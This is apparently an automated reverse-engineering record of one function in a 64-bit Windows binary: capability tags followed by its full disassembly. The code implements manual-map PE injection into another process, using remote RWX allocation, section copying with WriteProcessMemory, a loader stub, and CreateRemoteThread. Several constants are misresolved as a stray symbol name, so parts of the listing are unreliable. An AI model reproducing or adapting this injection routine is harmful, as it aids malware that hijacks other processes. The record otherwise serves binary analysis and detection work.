Function at 0x140023be0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Resolve function by parsing pe exports
Spawn thread to rwx shellcode

Disassembly:
mov byte [rsp + 0x20], r9b
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x140
mov qword [rsp + 0x50], 0
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0x88], 0
mov qword [rsp + 0x48], 0
mov rax, qword [rsp + 0x158]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140023c3f
xor al, al
jmp 0x1400245cc
mov rax, qword [rsp + 0x158]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x158]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
add rax, 0x18
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0x50]
add rax, 4
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x88]
movzx eax, word [rax]
cmp eax, 0x8664
je 0x140023c99
xor al, al
jmp 0x1400245cc
mov rax, qword [rsp + 0xb0]
mov eax, dword [rax + 0x38]
mov dword [rsp + 0x20], 2
mov r9d, 0x3000
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x150]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x140023cd9
xor al, al
jmp 0x1400245cc
mov dword [rsp + 0xa0], 0
mov rax, qword [rsp + 0xb0]
mov eax, dword [rax + 0x38]
lea rcx, [rsp + 0xa0]
mov qword [rsp + 0x20], rcx
mov r9d, SHGetSetSettings
mov r8d, eax
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x150]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea rax, [rsp + 0xc0]
mov rdi, rax
xor eax, eax
mov ecx, SHGetSetSettings
rep stosb byte [rdi], al
mov rax, qword [0x140035140]
mov qword [rsp + 0xc0], rax
mov rax, qword [0x1400351d8]
mov qword [rsp + 0xc8], rax
mov rax, qword [0x140035098]
mov qword [rsp + 0xd0], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0xd8], rax
mov eax, dword [rsp + 0x188]
mov dword [rsp + 0xe8], eax
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0xf0], rax
movzx eax, byte [rsp + 0x180]
mov dword [rsp + 0xf8], eax
mov qword [rsp + 0x20], 0
mov r9d, 0x1000
mov r8, qword [rsp + 0x158]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x150]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140023de4
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x150]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x1400245cc
mov rax, qword [rsp + 0x50]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x50]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x68], 0
jmp 0x140023e1e
mov eax, dword [rsp + 0x68]
inc eax
mov dword [rsp + 0x68], eax
mov rax, qword [rsp + 0x40]
add rax, 0x28
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x88]
movzx eax, word [rax + 2]
cmp dword [rsp + 0x68], eax
je 0x140023eb9
mov rax, qword [rsp + 0x40]
cmp dword [rax + 0x10], 0
je 0x140023eb4
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x40]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rsp + 0x158]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rsp + 0x40]
mov edx, dword [rdx + 0xc]
mov rdi, qword [rsp + 0x48]
add rdi, rdx
mov rdx, rdi
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, rcx
mov rcx, qword [rsp + 0x150]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140023eb4
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x150]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x1400245cc
jmp 0x140023e06
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, SHGetSetSettings
xor edx, edx
mov rcx, qword [rsp + 0x150]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x140023f0d
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x150]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x1400245cc
mov qword [rsp + 0x20], 0
mov r9d, SHGetSetSettings
lea r8, [rsp + 0xc0]
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x150]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140023f7a
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x150]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x150]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x1400245cc
mov dword [rsp + 0x20], SHGetSetSettings
mov r9d, 0x3000
mov r8d, 0x1000
xor edx, edx
mov rcx, qword [rsp + 0x150]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
jne 0x140023fea
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x150]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x150]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x1400245cc
mov qword [rsp + 0x20], 0
mov r9d, 0x1000
lea r8, [0x140024770]
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x150]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140024072
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x150]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x150]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x150]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x1400245cc
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x60]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x150]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0xb8], rax
mov al, 1
jmp 0x1400245cc
add rsp, 0x140
pop rdi
ret